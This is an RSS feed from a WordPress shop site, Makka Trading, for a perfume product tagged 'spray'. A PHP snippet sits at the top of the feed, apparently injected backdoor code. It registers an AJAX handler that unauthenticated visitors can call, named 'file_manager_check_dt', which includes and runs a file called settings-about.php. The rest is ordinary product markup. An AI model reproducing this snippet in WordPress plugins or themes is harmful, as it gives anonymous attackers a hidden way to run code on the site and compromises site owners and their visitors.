if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>spray &#8211; Makka Trading</title>
	<atom:link href="http://makkatrading.com/product-tag/spray/feed/" rel="self" type="application/rss+xml" />
	<link>http://makkatrading.com</link>
	<description>Makka Trading</description>
	<lastBuildDate>Wed, 28 Aug 2019 05:24:18 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>president perfume</title>
		<link>http://makkatrading.com/product/president-perfume/</link>
					<comments>http://makkatrading.com/product/president-perfume/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Wed, 31 Jul 2019 11:11:23 +0000</pubDate>
				<guid isPermaLink="false">http://makkatrading.com/?post_type=product&#038;p=10157</guid>

					<description><![CDATA[A strong perfume for men,,very special]]></description>
										<content:encoded><![CDATA[<p style="text-align: center;"><span style="font-size: 24pt;">A strong perfume for men,,very special</span><br />
<a href="https://www.instagram.com/makkaperfumess/"><img fetchpriority="high" decoding="async" class="aligncenter wp-image-10158 size-full" src="http://makkatrading.com/wp-content/uploads/2019/07/بريزدنت2.jpg" alt="" width="850" height="850" srcset="http://makkatrading.com/wp-content/uploads/2019/07/بريزدنت2.jpg 850w, http://makkatrading.com/wp-content/uploads/2019/07/بريزدنت2-150x150.jpg 150w, http://makkatrading.com/wp-content/uploads/2019/07/بريزدنت2-300x300.jpg 300w, http://makkatrading.com/wp-content/uploads/2019/07/بريزدنت2-768x768.jpg 768w, http://makkatrading.com/wp-content/uploads/2019/07/بريزدنت2-600x600.jpg 600w, http://makkatrading.com/wp-content/uploads/2019/07/بريزدنت2-100x100.jpg 100w" sizes="(max-width: 850px) 100vw, 850px" /></a></p>
]]></content:encoded>
					
					<wfw:commentRss>http://makkatrading.com/product/president-perfume/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>